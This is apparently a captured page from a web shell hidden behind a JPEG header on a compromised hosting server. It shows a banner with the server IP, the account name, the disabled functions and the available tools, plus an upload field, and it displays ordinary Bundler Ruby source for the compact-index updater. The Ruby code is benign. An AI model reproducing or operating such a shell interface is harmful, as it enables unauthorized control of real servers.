ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.29 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/alt/ruby34/share/gems/gems/bundler-2.6.9/lib/bundler/compact_index_client/ |
Upload File : |
# frozen_string_literal: true
module Bundler
class CompactIndexClient
class Updater
class MismatchedChecksumError < Error
def initialize(path, message)
super "The checksum of /#{path} does not match the checksum provided by the server! Something is wrong. #{message}"
end
end
def initialize(fetcher)
@fetcher = fetcher
end
def update(remote_path, local_path, etag_path)
append(remote_path, local_path, etag_path) || replace(remote_path, local_path, etag_path)
rescue CacheFile::DigestMismatchError => e
raise MismatchedChecksumError.new(remote_path, e.message)
rescue Zlib::GzipFile::Error
raise Bundler::HTTPError
end
private
def append(remote_path, local_path, etag_path)
return false unless local_path.file? && local_path.size.nonzero?
CacheFile.copy(local_path) do |file|
etag = etag_path.read.tap(&:chomp!) if etag_path.file?
# Subtract a byte to ensure the range won't be empty.
# Avoids 416 (Range Not Satisfiable) responses.
response = @fetcher.call(remote_path, request_headers(etag, file.size - 1))
break true if response.is_a?(Gem::Net::HTTPNotModified)
file.digests = parse_digests(response)
# server may ignore Range and return the full response
if response.is_a?(Gem::Net::HTTPPartialContent)
tail = response.body.byteslice(1..-1)
break false unless tail && file.append(tail)
else
file.write(response.body)
end
CacheFile.write(etag_path, etag_from_response(response))
true
end
end
# request without range header to get the full file or a 304 Not Modified
def replace(remote_path, local_path, etag_path)
etag = etag_path.read.tap(&:chomp!) if etag_path.file?
response = @fetcher.call(remote_path, request_headers(etag))
return true if response.is_a?(Gem::Net::HTTPNotModified)
CacheFile.write(local_path, response.body, parse_digests(response))
CacheFile.write(etag_path, etag_from_response(response))
end
def request_headers(etag, range_start = nil)
headers = {}
headers["Range"] = "bytes=#{range_start}-" if range_start
headers["If-None-Match"] = %("#{etag}") if etag
headers
end
def etag_for_request(etag_path)
etag_path.read.tap(&:chomp!) if etag_path.file?
end
def etag_from_response(response)
return unless response["ETag"]
etag = response["ETag"].delete_prefix("W/")
return if etag.delete_prefix!('"') && !etag.delete_suffix!('"')
etag
end
# Unwraps and returns a Hash of digest algorithms and base64 values
# according to RFC 8941 Structured Field Values for HTTP.
# https://www.rfc-editor.org/rfc/rfc8941#name-parsing-a-byte-sequence
# Ignores unsupported algorithms.
def parse_digests(response)
return unless header = response["Repr-Digest"] || response["Digest"]
digests = {}
header.split(",") do |param|
algorithm, value = param.split("=", 2)
algorithm.strip!
algorithm.downcase!
next unless SUPPORTED_DIGESTS.key?(algorithm)
next unless value = byte_sequence(value)
digests[algorithm] = value
end
digests.empty? ? nil : digests
end
# Unwrap surrounding colons (byte sequence)
# The wrapping characters must be matched or we return nil.
# Also handles quotes because right now rubygems.org sends them.
def byte_sequence(value)
return if value.delete_prefix!(":") && !value.delete_suffix!(":")
return if value.delete_prefix!('"') && !value.delete_suffix!('"')
value
end
end
end
end